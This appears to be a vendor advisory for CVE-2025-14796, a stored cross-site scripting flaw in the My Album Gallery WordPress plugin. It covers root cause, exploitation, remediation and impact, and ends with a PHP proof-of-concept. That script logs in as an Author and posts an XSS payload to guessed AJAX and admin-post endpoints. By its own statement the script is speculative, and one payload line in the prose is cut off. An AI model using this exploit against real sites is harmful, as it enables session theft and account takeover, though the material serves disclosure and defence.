Atomic Edge analysis of CVE-2025-14796 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the My Album Gallery WordPress plugin. The vulnerability exists in the handling of image title attributes. Attackers with Author-level privileges or higher can inject malicious scripts that persist and execute when the affected page loads.
Atomic Edge research infers the root cause is insufficient input sanitization and output escaping on the ‘attachment->title’ attribute. The CWE-79 classification confirms improper neutralization of user input during web page generation. Without source code, we cannot confirm the exact vulnerable function. The description indicates the plugin fails to properly sanitize user-supplied image titles before storing them in the database and fails to escape them when outputting to the browser.
The exploitation method requires an authenticated attacker with Author privileges. The attacker would access the plugin’s image management interface, likely at /wp-admin/admin.php?page=my-album-gallery or a similar admin page. They would edit an existing image or upload a new one, injecting a malicious script payload into the title field. A typical payload would be 
. The script executes in victims’ browsers when they view any page containing the compromised image.
Remediation requires implementing proper input validation and output escaping. The plugin should sanitize the title field using WordPress functions like sanitize_text_field() before storage. During output, the plugin must escape the title attribute using esc_attr() or a similar context-appropriate escaping function. WordPress provides these security functions specifically to prevent XSS vulnerabilities.
Successful exploitation allows attackers to steal session cookies, perform actions as the victim user, deface websites, or redirect users to malicious sites. The CVSS vector indicates a scope change (S:C), meaning the vulnerability can impact components outside the plugin’s security authority. With Author privileges, attackers could compromise higher-privileged administrator accounts through session hijacking.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14796 - My Album Gallery <= 1.0.4 - Authenticated (Author+) Stored Cross-Site Scripting via Image Title
<?php
/**
* Proof of Concept for CVE-2025-14796
* Assumptions based on WordPress plugin patterns:
* 1. Plugin uses standard WordPress admin interface for image management
* 2. Image titles are submitted via POST request to admin-ajax.php or admin-post.php
* 3. The vulnerable parameter is named 'title' or contains 'title' in its name
* 4. The AJAX action or form handler contains 'my_album_gallery' or 'mag' prefix
*/
$target_url = 'http://vulnerable-wordpress-site.com'; // CONFIGURE THIS
$username = 'author_user'; // CONFIGURE: Author-level account
$password = 'author_pass'; // CONFIGURE: Author-level password
// Payload: Basic XSS proof-of-concept
$malicious_title = '"><img src=x onerror=alert('XSS via CVE-2025-14796')>';
// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$admin_url = $target_url . '/wp-admin/';
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $admin_url,
'testcookie' => '1'
]),
CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
]);
$response = curl_exec($ch);
// Step 2: Attempt to exploit via assumed AJAX endpoint
// Common WordPress pattern: admin-ajax.php with plugin-specific action
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Try common AJAX action names based on plugin slug
$possible_actions = [
'my_album_gallery_update_image',
'mag_update_image',
'my_album_gallery_save_image',
'mag_save_image',
'update_image_title'
];
foreach ($possible_actions as $action) {
curl_setopt_array($ch, [
CURLOPT_URL => $ajax_url,
CURLOPT_POSTFIELDS => http_build_query([
'action' => $action,
'title' => $malicious_title,
'image_id' => '1', // Assuming at least one image exists
'nonce' => 'dummynonce' // Would need valid nonce in real scenario
])
]);
$ajax_response = curl_exec($ch);
// Check for success indicators
if (strpos($ajax_response, 'success') !== false ||
strpos($ajax_response, 'updated') !== false ||
strpos($ajax_response, 'saved') !== false) {
echo "[+] Possible successful exploitation via action: $actionn";
echo "[+] Payload injected: $malicious_titlen";
echo "[+] Visit any page containing the modified image to trigger XSSn";
break;
}
}
// Step 3: Alternative attempt via admin-post.php
$admin_post_url = $target_url . '/wp-admin/admin-post.php';
curl_setopt_array($ch, [
CURLOPT_URL => $admin_post_url,
CURLOPT_POSTFIELDS => http_build_query([
'action' => 'my_album_gallery_save',
'image_title' => $malicious_title,
'image_id' => '1'
])
]);
$admin_post_response = curl_exec($ch);
if (strpos($admin_post_response, 'Location:') !== false) {
echo "[+] Possible successful exploitation via admin-post.phpn";
}
curl_close($ch);
unlink('cookies.txt');
echo "[!] Note: This PoC is based on inferred patterns. Actual exploitation may requiren";
echo " adjusting parameters, obtaining valid nonces, or using different endpoints.n";
?>
